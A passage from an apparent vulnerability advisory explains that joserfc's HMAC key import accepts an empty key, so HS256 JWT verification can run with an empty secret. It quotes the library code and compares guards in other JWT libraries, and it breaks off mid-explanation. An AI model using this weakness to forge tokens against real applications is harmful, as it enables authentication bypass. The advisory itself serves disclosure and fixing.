hmac.compare_digest(sig, v_sig) ``` [`src/joserfc/_rfc7518/oct_key.py:52-63`](https://github.com/authlib/joserfc/blob/1ddca8f3c73ff47e3bc3ac06cb0c08a9535677ec/src/joserfc/_rfc7518/oct_key.py#L52-L63): ```python @classmethod def import_key(cls, value, parameters=None, password=None) -> "OctKey": key: OctKey = super(OctKey, cls).import_key(value, parameters, password) if len(key.raw_value) < 14: # https://csrc.nist.gov/publications/detail/sp/800-131a/rev-2/final warnings.warn("Key size should be >= 112 bits", SecurityWarning) return key ``` The `< 14` check only warns; `len(key.raw_value) == 0` falls through and is returned to the caller. `HMACAlgorithm.verify` then calls `hmac.compare_digest(sig, hmac.new(b"", signing_input, sha256).digest())`, and Python's `hmac.new(b"", ...)` accepts the empty key. Cross-language sibling of ruby-jwt's fix in [`lib/jwt/jwa/hmac.rb`](https://github.com/authlib/joserfc/blob/1ddca8f3c73ff47e3bc3ac06cb0c08a9535677ec/lib/jwt/jwa/hmac.rb): ```ruby def ensure_valid_key!(key) raise_verify_error!('HMAC key expected to be a String') unless key.is_a?(String) raise_verify_error!('HMAC key cannot be empty') if key.empty? end ``` invoked from both `sign(signing_key:)` and `verify(verification_key:)`. PyJWT landed an equivalent guard in 2.13.0 (`HMACAlgorithm.prepare_key` raises `InvalidKeyError("HMAC key must not be empty.")` for `len(key_bytes) == 0`). firebase/php-jwt rejects empty material in `Key.__construct`. jjwt enforces a 256-bit minimum in `DefaultMacAlgorithm.validateKey`. joserfc has the strongest existing length-warning logic but stops at `< 14 bytes` warn rather than `== 0` reject. ### How an empty `JWT_SECRET` reaches `hmac.new` 1. The application calls `joserfc.jwt.decode(value, key, algorithms=["HS256"])` where `key = OctKey.import_key("")` (or `OctKey.import_key(b"")`, or any custom path t | GCVE Database |
Page 8 of 20